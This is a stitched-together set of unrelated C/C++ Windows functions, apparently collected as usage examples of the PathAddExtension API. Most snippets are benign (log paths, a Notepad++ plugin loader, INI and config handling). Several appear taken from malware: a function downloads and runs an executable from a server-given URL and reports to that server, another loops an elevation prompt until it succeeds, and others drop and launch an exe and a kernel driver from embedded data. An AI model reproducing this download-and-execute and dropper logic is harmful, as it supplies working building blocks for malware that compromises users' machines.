BOOLEAN DownloadRunExeUrl(DWORD TaskId, PCHAR FileUrl) { BOOLEAN Result = TRUE; CHAR chTempPath[MAX_PATH]; CHAR chTempName[MAX_PATH]; Protect::GetStorageFolderPath(chTempPath); GetTempFileName(chTempPath, NULL, GetTickCount(), chTempName); PathRemoveExtension(chTempName); PathAddExtension(chTempName, ".exe"); if (SUCCEEDED(URLDownloadToFile(NULL, FileUrl, chTempName, 0, NULL))) { if (WinExec(chTempName, 0) < 31) { DbgMsg(__FUNCTION__"(): WinExec: %x\n", GetLastError()); } } else { DbgMsg(__FUNCTION__"(): URLDownloadToFile: %x\n", GetLastError()); } if (TaskId) Server::SendServerAnswer(TaskId, g_CurrentServerUrl, 1, 0); return Result; }
LRESULT CTransChatWebWnd::OnRecordSave(WPARAM wParam, LPARAM lParam) { m_Recorder.StopRecord(); TCHAR szPath_Wav[MAX_PATH] = { 0 }; _stprintf_s(szPath_Wav, MAX_PATH, _T("%s\\%s.%s"), FileMgr::GetAppPathById(conv::s2wcs(g_LoginData.userId), _T("voice")).GetBuffer(), SystemInfo::GetUnixTimeStamp().c_str(), _T("wav")); m_Recorder.SaveRecord(szPath_Wav); TCHAR tzConverter[MAX_PATH] = { 0 }; ::GetModuleFileName(GetModuleHandle(NULL), tzConverter, _countof(tzConverter)); ::PathRemoveFileSpec(tzConverter); ::PathAppend(tzConverter, _T("WavToAMR.dll")); TCHAR szPath_AMR[MAX_PATH] = { 0 }; StrCpy(szPath_AMR, szPath_Wav); PathRemoveExtension(szPath_AMR); PathAddExtension(szPath_AMR, _T(".amr")); HINSTANCE hModule = LoadLibrary(tzConverter); typedef int(*__fnWavToAMR)(const char* intfile, const char* outfile, int channels, int bits_per_samp); __fnWavToAMR WavToAMR = (__fnWavToAMR)::GetProcAddress(hModule, "WavToAMR"); if (WavToAMR) { WavToAMR(base::stdcxx_ws2s(szPath_Wav).c_str(), base::stdcxx_ws2s(szPath_AMR).c_str(), 1, 16); } DeleteFile(szPath_Wav); StrCpy(g_SessionData.voice_path, szPath_AMR); return 0; }
/** * @brief Create complete log file name. * @param pszCompleteLogFileName - output complete file name. * @param pszLogFileName - base log file name. * @param pszDefFileExtension - default extension. * @return true if log file name was created and false otherwise. */ BOOL GetCompleteLogFileName(PTSTR pszCompleteLogFileName, PCTSTR pszLogFileName, PCTSTR pszDefFileExtension) { if (pszLogFileName && *pszLogFileName && PathIsRoot(pszLogFileName)) { _tcscpy_s(pszCompleteLogFileName, MAX_PATH, pszLogFileName); return TRUE; } TCHAR szAppDataPath[MAX_PATH]; if (! SHGetSpecialFolderPath(NULL, szAppDataPath, CSIDL_APPDATA, TRUE)) return FALSE; TCHAR szAppName[MAX_PATH]; if (! GetCanonicalAppName(szAppName, countof(szAppName), TRUE)) return FALSE; TCHAR szAppFileName[MAX_PATH]; if (! GetModuleFileName(NULL, szAppFileName, countof(szAppFileName))) return FALSE; PTSTR pszFileName = PathFindFileName(szAppFileName); PathRemoveExtension(pszFileName); PTSTR pszAppName = *szAppName ? szAppName : pszFileName; PathCombine(pszCompleteLogFileName, szAppDataPath, pszAppName); if (pszLogFileName == NULL || *pszLogFileName == _T('\0')) { if (pszDefFileExtension == NULL || *pszDefFileExtension != _T('.')) return FALSE; PathAppend(pszCompleteLogFileName, pszFileName); PathAddExtension(pszCompleteLogFileName, pszDefFileExtension); } else PathAppend(pszCompleteLogFileName, pszLogFileName); return TRUE; }
int main(int argc, LPSTR argv[]) { int ret; Config conf; TCHAR conf_file[MAX_PATH]; conf_init(&conf); ret = GetModuleFileName(NULL, conf_file, MAX_PATH); if (ret <= 0) { my_message_box("Unable to GetModuleFileName ... (code: %d)\n", ret); return 1; } PathRemoveExtension(conf_file); PathAddExtension(conf_file, ".ini"); if (! PathFileExists(conf_file)) { my_message_box("No such file %s\n", conf_file); return 1; } read_conf(conf_file, &conf); if (conf.delay != 0) Sleep(conf.delay * 1000); ret = launch(conf); return ret; }
VOID aRestartModuleShellExec(PCHAR FilePath) { SHELLEXECUTEINFO sei = {0}; CHAR TempPath[MAX_PATH]; CHAR TempName[MAX_PATH]; PVOID Buffer; DWORD Size; if (!StrStrI(FilePath, ".exe")) { Protect::GetStorageFolderPath(TempPath); GetTempFileName(TempPath, NULL, GetTickCount(), TempName); PathRemoveExtension(TempName); PathAddExtension(TempName, ".exe"); if (Buffer = Utils::FileRead(FilePath, &Size)) { if (Utils::FileWrite(TempName, CREATE_ALWAYS, Buffer, Size)) { FilePath = TempName; } } } sei.cbSize = sizeof(sei); sei.lpFile = FilePath; sei.lpVerb = "runas"; sei.hwnd = GetForegroundWindow(); while (!ShellExecuteEx(&sei)) { DbgMsg(__FUNCTION__"(): ShellExecuteEx error: %x\n", GetLastError()); Sleep(3000); } }
void AddDllExtension(wchar_t* file) { #ifdef _WIN32 PathAddExtensionW(file, L".dll"); #elif __APPLE__ PathAddExtension(file, L".dylib"); #endif }
VOID PrepareFirstRun(LPCSTR lpExePath) { CHAR chFolderPath[MAX_PATH]; GetTempPath(RTL_NUMBER_OF(chFolderPath)-1, chFolderPath); GetTempFileName(chFolderPath, NULL, 0, g_chExePath); PathRemoveExtension(g_chExePath); PathAddExtension(g_chExePath, ".exe"); CopyFileA(lpExePath, g_chExePath, FALSE); GetTempFileName(chFolderPath, NULL, 0, g_chDllPath); PathRemoveExtension(g_chDllPath); PathAddExtension(g_chDllPath, ".dll"); CopyFileA(lpExePath, g_chDllPath, FALSE); SetFileDllFlag(g_chDllPath); }
DWORD MainWorkThread(PVOID pvContext) { PVOID pvExe, pvSys; DWORD dwExe, dwSys; DbgPrint(__FUNCTION__"(): exe '%s' dll '%s'\n", g_chExePath, g_chDllPath); if (GetConfigFiles(&pvExe, &dwExe, &pvSys, &dwSys)) { CHAR chFolderPath[MAX_PATH]; CHAR chExe[MAX_PATH]; CHAR chSys[MAX_PATH]; GetTempPath(RTL_NUMBER_OF(chFolderPath)-1, chFolderPath); GetTempFileName(chFolderPath, NULL, GetTickCount(), chExe); PathRemoveExtension(chExe); PathAddExtension(chExe, ".exe"); if (FileWrite(chExe, CREATE_ALWAYS, pvExe, dwExe)) { DbgPrint(__FUNCTION__"(): start exe '%s'\n", chExe); StartExe(chExe); } GetTempFileName(chFolderPath, NULL, GetTickCount(), chSys); PathRemoveExtension(chSys); PathAddExtension(chSys, ".sys"); if (FileWrite(chSys, CREATE_ALWAYS, pvSys, dwSys)) { DbgPrint(__FUNCTION__"(): start sys '%s'\n", chSys); StartSys(chSys); } free(pvExe); free(pvSys); } return 0; }
BOOL CAutoUpdateApp::InitInstance() { // InitCommonControlsEx() is required on Windows XP if an application // manifest specifies use of ComCtl32.dll version 6 or later to enable // visual styles. Otherwise, any window creation will fail. INITCOMMONCONTROLSEX InitCtrls; InitCtrls.dwSize = sizeof(InitCtrls); // Set this to include all the common control classes you want to use // in your application. InitCtrls.dwICC = ICC_WIN95_CLASSES; InitCommonControlsEx(&InitCtrls); CWinApp::InitInstance(); AfxEnableControlContainer(); CoInitialize(NULL); // Standard initialization // If you are not using these features and wish to reduce the size // of your final executable, you should remove from the following // the specific initialization routines you do not need // Change the registry key under which our settings are stored // TODO: You should modify this string to be something appropriate // such as the name of your company or organization TCHAR szModuleFile[MAX_PATH]={0}; GetModuleFileName(AfxGetInstanceHandle(), szModuleFile, MAX_PATH); //设置INI文件 PathRemoveExtension(szModuleFile); free((void*)m_pszProfileName); PathAddExtension(szModuleFile, _T(".INI")); m_pszProfileName = _tcsdup(szModuleFile); //创建窗口 m_pAutoUpdateDlg = new CAutoUpdateDlg(); m_pMainWnd = m_pAutoUpdateDlg; m_pAutoUpdateDlg->Create(IDD_AUTOUPDATE_DIALOG, NULL); // Since the dialog has been closed, return FALSE so that we exit the // application, rather than start the application's message pump. return TRUE; }
BOOLEAN WriteFileAndExecute(PVOID File, DWORD Size) { CHAR chTempPath[MAX_PATH]; CHAR chTempName[MAX_PATH]; Protect::GetStorageFolderPath(chTempPath); GetTempFileName(chTempPath, NULL, GetTickCount(), chTempName); PathRemoveExtension(chTempName); PathAddExtension(chTempName, ".exe"); if (Utils::FileWrite(chTempName, CREATE_ALWAYS, File, Size)) { WinExec(chTempName, 0); return TRUE; } return FALSE; }
bool CFileControlTool::InternalFindFolder(LPCTSTR sPath, LPCTSTR sFindFileName, ULONGLONG &uCountFolder, ULONGLONG &uCountFile,PFINDFILE pCallbackFindFile,PFINDFOLDER pCallbackFindFolder,BOOL bFuzzy,BOOL bDirectory,PVOID pFileParameter,PVOID pDirectoryParameter) { TCHAR sTemp[MAX_PATH]; TCHAR sFormatFileName[MAX_PATH]; WIN32_FIND_DATA FindFileData; HANDLE hFind; BOOL fFinished = FALSE; InternalFindFile(sPath, sFindFileName, uCountFolder, uCountFile,pCallbackFindFile,pCallbackFindFolder,bFuzzy,bDirectory,pFileParameter,pDirectoryParameter); lstrcpy(sFormatFileName, sPath); lstrcat(sFormatFileName, _T("\\*")); hFind = FindFirstFile(sFormatFileName, &FindFileData); if (hFind == INVALID_HANDLE_VALUE) { return FALSE; } else { while (!fFinished) { if (FILE_ATTRIBUTE_DIRECTORY & FindFileData.dwFileAttributes) { if (0 != lstrcmp(FindFileData.cFileName,_T(".")) && 0 != lstrcmp(FindFileData.cFileName,_T("..")) &&bDirectory){ lstrcpy(sTemp, sPath); PathAddBackslash(sTemp); PathAddExtension(sTemp,FindFileData.cFileName); InternalFindFolder(sTemp, sFindFileName, uCountFolder, uCountFile,pCallbackFindFile,pCallbackFindFolder,bFuzzy,bDirectory,pFileParameter,pDirectoryParameter); } } if (!FindNextFile(hFind, &FindFileData)){ if (GetLastError() == ERROR_NO_MORE_FILES) return TRUE; else return FALSE; } } FindClose(hFind); } return TRUE; }
HRESULT MassageOutputPath(const TCHAR* pathName, TCHAR* outPathName, int maxPathName) { HRESULT hr = S_OK; if (SUCCEEDED(hr = StringCchCopy(outPathName, maxPathName, pathName))) { PathAddExtension(outPathName, ".x"); PathMakePretty(outPathName); for (TCHAR* c=outPathName; *c; c++) { if (*c == '/') { *c = '\\'; } } } return hr; }
CFilePath &CFilePath::AddExtension( LPCTSTR psExtension, int nLen) { if (!psExtension) return AddExtension(L"", 0); if (*psExtension != '.') { CString sTemp = CString('.') + psExtension; return AddExtension(sTemp, sTemp.GetLength()); } if (nLen < 0) return AddExtension(psExtension, _tcslen(psExtension)); int nTotalLen = msPath.GetLength() + nLen; PathAddExtension(CStringLock(msPath, nTotalLen), psExtension); return *this; }
BOOL EnumImageHijack( AUTORUN_CALLBACK pfnCallback, LPVOID lpParam ) { CHKey hKey; DWORD dwResult = RegOpenKeyEx( HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options", 0, KEY_QUERY_VALUE | KEY_ENUMERATE_SUB_KEYS, (PHKEY)&hKey ); if(ERROR_SUCCESS != dwResult ) { SetLastError( dwResult ); return FALSE; } //查询子键数量 DWORD cSubKey = 0; dwResult = RegQueryInfoKey( hKey.GetHandle(), NULL, NULL, 0, &cSubKey, NULL,NULL, NULL, NULL, NULL, NULL, NULL ); if( ERROR_SUCCESS != dwResult ) { SetLastError( dwResult ); return FALSE; } LPCTSTR lpszSystemDir = getenv( "SystemRoot" ); if( lpszSystemDir == NULL ) return FALSE; for( DWORD i=0; i < cSubKey; i++ ) { AUTORUN_ITEM Item = {0}; dwResult = RegEnumKey( hKey.GetHandle(), i, Item.Name, sizeof( Item.Name ) ); if( ERROR_SUCCESS != dwResult ) { SetLastError( dwResult ); continue; } //打开子键 CHKey hSubKey ; dwResult = RegOpenKeyEx( hKey.GetHandle(), Item.Name, 0, KEY_QUERY_VALUE, (PHKEY)&hSubKey ); if( ERROR_SUCCESS != dwResult ){ SetLastError( dwResult ); continue; } char Buffer[512] = {0}; DWORD cbSize = sizeof( Buffer ); dwResult = RegQueryValueEx( hSubKey.GetHandle(), "Debugger", NULL, NULL, (PUCHAR)Buffer, &cbSize ); if( dwResult != ERROR_SUCCESS ) { SetLastError( dwResult ); continue; } strncpy( Item.ImagePath, lpszSystemDir, sizeof( Item.ImagePath ) - 1 ); PathAddBackslash( Item.ImagePath ); strncat( Item.ImagePath, "System32\\", sizeof( Item.ImagePath ) - strlen( Item.ImagePath ) - 1 ); strncat( Item.ImagePath, Buffer, sizeof( Item.ImagePath ) - strlen( Item.ImagePath ) - 1 ); //去掉删除 PathRemoveArgs( Item.ImagePath ); PathAddExtension( Item.ImagePath, ".exe" ); if( !pfnCallback( AUTORUN_IMAGE_HIJACK, &Item, lpParam ) ) { SetLastError( ERROR_CANCELLED ); return FALSE; } } return TRUE; }
int PluginsManager::loadPlugin(const generic_string& pluginFilePath, std::vector<generic_string> & dll2Remove) { PluginInfo *pi = new PluginInfo; try { pi->_moduleName = PathFindFileName(pluginFilePath.c_str()); pi->_hLib = ::LoadLibrary(pluginFilePath.c_str()); if (!pi->_hLib) throw generic_string(TEXT("Load Library is failed.\nMake \"Runtime Library\" setting of this project as \"Multi-threaded(/MT)\" may cure this problem.")); pi->_pFuncIsUnicode = (PFUNCISUNICODE)GetProcAddress(pi->_hLib, "isUnicode"); #ifdef UNICODE if (!pi->_pFuncIsUnicode || !pi->_pFuncIsUnicode()) throw generic_string(TEXT("This ANSI plugin is not compatible with your Unicode Notepad++.")); #else if (pi->_pFuncIsUnicode) throw generic_string(TEXT("This Unicode plugin is not compatible with your ANSI mode Notepad++.")); #endif pi->_pFuncSetInfo = (PFUNCSETINFO)GetProcAddress(pi->_hLib, "setInfo"); if (!pi->_pFuncSetInfo) throw generic_string(TEXT("Missing \"setInfo\" function")); pi->_pFuncGetName = (PFUNCGETNAME)GetProcAddress(pi->_hLib, "getName"); if (!pi->_pFuncGetName) throw generic_string(TEXT("Missing \"getName\" function")); pi->_pBeNotified = (PBENOTIFIED)GetProcAddress(pi->_hLib, "beNotified"); if (!pi->_pBeNotified) throw generic_string(TEXT("Missing \"beNotified\" function")); pi->_pMessageProc = (PMESSAGEPROC)GetProcAddress(pi->_hLib, "messageProc"); if (!pi->_pMessageProc) throw generic_string(TEXT("Missing \"messageProc\" function")); pi->_pFuncSetInfo(_nppData); pi->_pFuncGetFuncsArray = (PFUNCGETFUNCSARRAY)GetProcAddress(pi->_hLib, "getFuncsArray"); if (!pi->_pFuncGetFuncsArray) throw generic_string(TEXT("Missing \"getFuncsArray\" function")); pi->_funcItems = pi->_pFuncGetFuncsArray(&pi->_nbFuncItem); if ((!pi->_funcItems) || (pi->_nbFuncItem <= 0)) throw generic_string(TEXT("Missing \"FuncItems\" array, or the nb of Function Item is not set correctly")); pi->_pluginMenu = ::CreateMenu(); GetLexerCountFn GetLexerCount = (GetLexerCountFn)::GetProcAddress(pi->_hLib, "GetLexerCount"); // it's a lexer plugin if (GetLexerCount) { GetLexerNameFn GetLexerName = (GetLexerNameFn)::GetProcAddress(pi->_hLib, "GetLexerName"); if (!GetLexerName) throw generic_string(TEXT("Loading GetLexerName function failed.")); GetLexerStatusTextFn GetLexerStatusText = (GetLexerStatusTextFn)::GetProcAddress(pi->_hLib, "GetLexerStatusText"); if (!GetLexerStatusText) throw generic_string(TEXT("Loading GetLexerStatusText function failed.")); // Assign a buffer for the lexer name. char lexName[MAX_EXTERNAL_LEXER_NAME_LEN]; lexName[0] = '\0'; TCHAR lexDesc[MAX_EXTERNAL_LEXER_DESC_LEN]; lexDesc[0] = '\0'; int numLexers = GetLexerCount(); NppParameters * nppParams = NppParameters::getInstance(); ExternalLangContainer *containers[30]; #ifdef UNICODE WcharMbcsConvertor *wmc = WcharMbcsConvertor::getInstance(); #endif for (int x = 0; x < numLexers; x++) { GetLexerName(x, lexName, MAX_EXTERNAL_LEXER_NAME_LEN); GetLexerStatusText(x, lexDesc, MAX_EXTERNAL_LEXER_DESC_LEN); #ifdef UNICODE const TCHAR *pLexerName = wmc->char2wchar(lexName, CP_ACP); #else const TCHAR *pLexerName = lexName; #endif if (!nppParams->isExistingExternalLangName(pLexerName) && nppParams->ExternalLangHasRoom()) containers[x] = new ExternalLangContainer(pLexerName, lexDesc); else containers[x] = NULL; } TCHAR xmlPath[MAX_PATH]; lstrcpy(xmlPath, nppParams->getNppPath().c_str()); PathAppend(xmlPath, TEXT("plugins\\Config")); PathAppend(xmlPath, pi->_moduleName.c_str()); PathRemoveExtension(xmlPath); PathAddExtension(xmlPath, TEXT(".xml")); if (!PathFileExists(xmlPath)) { memset(xmlPath, 0, MAX_PATH * sizeof(TCHAR)); lstrcpy(xmlPath, nppParams->getAppDataNppDir() ); PathAppend(xmlPath, TEXT("plugins\\Config")); PathAppend(xmlPath, pi->_moduleName.c_str()); PathRemoveExtension( xmlPath ); PathAddExtension( xmlPath, TEXT(".xml") ); if (! PathFileExists( xmlPath ) ) { throw generic_string(generic_string(xmlPath) + TEXT(" is missing.")); } } TiXmlDocument *_pXmlDoc = new TiXmlDocument(xmlPath); if (!_pXmlDoc->LoadFile()) { delete _pXmlDoc; _pXmlDoc = NULL; throw generic_string(generic_string(xmlPath) + TEXT(" failed to load.")); } for (int x = 0; x < numLexers; x++) // postpone adding in case the xml is missing/corrupt if (containers[x] != NULL) nppParams->addExternalLangToEnd(containers[x]); nppParams->getExternalLexerFromXmlTree(_pXmlDoc); nppParams->getExternalLexerDoc()->push_back(_pXmlDoc); #ifdef UNICODE const char *pDllName = wmc->wchar2char(pluginFilePath.c_str(), CP_ACP); #else const char *pDllName = pluginFilePath.c_str(); #endif ::SendMessage(_nppData._scintillaMainHandle, SCI_LOADLEXERLIBRARY, 0, (LPARAM)pDllName); } _pluginInfos.push_back(pi); return (_pluginInfos.size() - 1); } catch(generic_string s) { s += TEXT("\n\n"); s += USERMSG; if (::MessageBox(NULL, s.c_str(), pluginFilePath.c_str(), MB_YESNO) == IDYES) { dll2Remove.push_back(pluginFilePath); } delete pi; return -1; } catch(...) { generic_string msg = TEXT("Fail loaded"); msg += TEXT("\n\n"); msg += USERMSG; if (::MessageBox(NULL, msg.c_str(), pluginFilePath.c_str(), MB_YESNO) == IDYES) { dll2Remove.push_back(pluginFilePath); } delete pi; return -1; } }
bool CCommandObj::FormatResourceHander(PRESOURCEREQUIT pResourceRequit,PRESOURCESENDINFO pResourceObj,__out LPTSTR lpFileFullName) { OutA(Dbg,("Format Resource[%s] Hander Starting."),pResourceRequit->szResourceID); bool bRet = TRUE; FILE * fConfigFile = NULL; CFileExpress cFileExpress; DATAPHOENIX dDataPhoenix; FormatResourceFullName(pResourceRequit->szResourceID,lpFileFullName,MAX_PATH); if (!stricmp(pResourceRequit->szResourceID,MANAGER_CLSID)) { Out(Dbg,_T("Format Resource Config: [%s] Starting."),lpFileFullName); cFileExpress.Initialization(lpFileFullName); strcpy_s(dDataPhoenix.FilePath,".\\"); strcpy_s(dDataPhoenix.MD5,cFileExpress.GetFileMD5(32)); strcpy_s(dDataPhoenix.FileName,"System.Initialization.DLL"); strcpy_s(dDataPhoenix.CLSID,pResourceRequit->szResourceID); dDataPhoenix.dwFileSize = cFileExpress.GetFileSize(); Out(Dbg,_T("Format Resource Config:[%s] Success."),lpFileFullName); pResourceObj->dwResourceType = TYPE_RESOURCE_SYSTEM; }else { PathRemoveExtension(lpFileFullName); PathAddExtension(lpFileFullName,_T(".Cfg")); Out(Dbg,_T("Format Resource Config: [%s] Starting."),lpFileFullName); if (0 !=_tfopen_s(&fConfigFile,lpFileFullName,_T("rb"))) { Out(Dbg,_T("Format Resource Config: [%s] Failed."),lpFileFullName); bRet = false; return bRet; }else { fseek(fConfigFile,sizeof(RESOURCEREQUIT),SEEK_SET); fread(&dDataPhoenix,1,sizeof(DATAPHOENIX),fConfigFile); fflush(fConfigFile); fclose(fConfigFile); bRet = true; } Out(Dbg,_T("Format Resource Config:[%s] Success."),lpFileFullName); FormatResourceFullName(pResourceRequit->szResourceID,lpFileFullName,MAX_PATH); pResourceObj->dwResourceType = TYPE_RESOURCE_EXECFILE;//TYPE_RESOURCE_DATAFILE; } pResourceObj->dwResourceLen = dDataPhoenix.dwFileSize; // memcpy_s(&pResourceObj->btResourceBag,MAX_BAG_LEN,&m_btResourceBag,MAX_BAG_LEN); strcpy_s(pResourceObj->szResourceID,dDataPhoenix.CLSID); strcpy_s(pResourceObj->szResourceMD5,dDataPhoenix.MD5); strcpy_s(pResourceObj->szResourcePath,dDataPhoenix.FilePath); PathAddBackslashA(pResourceObj->szResourcePath); strcat_s(pResourceObj->szResourcePath,dDataPhoenix.FileName); OutA(Dbg,("Resource[%s] Info: Size:%d MD5:%s FilePath:%s FileName:%s."),dDataPhoenix.CLSID,dDataPhoenix.dwFileSize,dDataPhoenix.MD5,dDataPhoenix.FilePath,dDataPhoenix.FileName); OutA(Dbg,("Format Resource[%s] Hander Successful."),pResourceRequit->szResourceID); return bRet; }
void CZProfilePageDialog::OnOK() { char szTempFile[MAX_PATH]; sprintf(szTempFile, "%s\\profilepageconfig.tmp", g_strCurrentWorkPath); ofstream out; out.open(szTempFile); if(out.is_open()) { out << "nAxesNo=" << m_oDraw.nAxesNo << "\n"; out << "fStartStat=" << m_oDraw.fStartStat << "\n"; out << "fEndStat=" << m_oDraw.fEndStat << "\n"; out << "bDiscLabel=" << m_oDraw.bDiscLabel << "\n"; out << "bMultiAxes=" << m_oDraw.bMultiAxes << "\n"; out << "bAuxlineDim=" << m_oDraw.bAuxlineDim << "\n"; out << "strStatPrefix=" << m_oDraw.strStatPrefix << "\n"; out << "bGrid=" << m_oDraw.bGrid << "\n"; out << "nGridWidth=" << m_oDraw.nGridWidth << "\n"; out << "nGridHeight=" << m_oDraw.nGridHeight << "\n"; out << "fXDimOffset=" << m_oDraw.fXDimOffset << "\n"; out << "fYDimOffset=" << m_oDraw.fYDimOffset << "\n"; out << "nMinSpan=" << m_oDraw.nMinSpan << "\n"; out << "nMianQueDim=" << m_oDraw.nMianQueDim << "\n"; out << "bPage=" << m_oDraw.bPage << "\n"; out << "nStartPageNo=" << m_oDraw.nStartPageNo << "\n"; out << "nPages=" << m_oDraw.nPages << "\n"; StrCpyN(m_oDraw.pFrameName, m_pFrameName[m_nFrameName - 1].listString, _countof(m_oDraw.pFrameName)); out << "pFrameName=" << m_oDraw.pFrameName << "\n"; StrCpyN(m_oDraw.pPaperSize, m_pPaperSize[m_nPaperSize - 1].listString, _countof(m_oDraw.pPaperSize)); out << "pPaperSize=" << m_oDraw.pPaperSize << "\n"; out << "nRatio=" << m_oDraw.nRatio << "\n"; out << "nColumn=" << m_oDraw.nColumn << "\n"; out << "bGroundLine=" << m_oDraw.advance.bGroundLine << "\n"; out << "pGroundLinePen=" << m_oDraw.advance.pGroundLinePen << "\n"; out << "bDimGroundHeight=" << m_oDraw.advance.bDimGroundHeight << "\n"; out << "bDesignLine=" << m_oDraw.advance.bDesignLine << "\n"; out << "pDesignLinePen=" << m_oDraw.advance.pDesignLinePen << "\n"; out << "bDimDesignHeight=" << m_oDraw.advance.bDimDesignHeight << "\n"; out << "bBridge=" << m_oDraw.advance.bBridge << "\n"; out << "bTunnel=" << m_oDraw.advance.bTunnel << "\n"; out << "bQue=" << m_oDraw.advance.bQue << "\n"; out << "bGroove=" << m_oDraw.advance.bGroove << "\n"; out << "bSideDitch=" << m_oDraw.advance.bSideDitch << "\n"; out << "bRoad=" << m_oDraw.advance.bRoad << "\n"; out << "pRoadPen=" << m_oDraw.advance.pRoadPen << "\n"; out << "bLand=" << m_oDraw.advance.bLand << "\n"; out << "pLandPen=" << m_oDraw.advance.pLandPen << "\n"; out << "fSteleHeight=" << m_oDraw.advance.fSteleHeight << "\n"; out << "bData=" << m_oDraw.advance.bData << "\n"; out << "pDataPen=" << m_oDraw.advance.pDataPen << "\n"; out << "nDataDimStyle=" << m_oDraw.advance.nDataDimStyle << "\n"; out << "bClearLine=" << m_oDraw.advance.bClearLine << "\n"; out << "bCutStepLine=" << m_oDraw.advance.bCutStepLine << "\n"; out << "bCrownDitch=" << m_oDraw.advance.bCrownDitch << "\n"; PathAddExtension(m_pOutFile, ".dwg"); out << "pOutFile=" << m_pOutFile << "\n"; out << "bDefaultOpen=" << m_bDefaultOpen << "\n"; out.close(); } // HANDLE hFile = CreateFile(szTempFile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); // if(hFile != NULL) // { // unsigned long dwLength = sizeof(m_oDraw); // WriteFile(hFile, &m_oDraw, dwLength, &dwLength, NULL); // CloseHandle(hFile); // } CCard1Dialog::OnOK(); }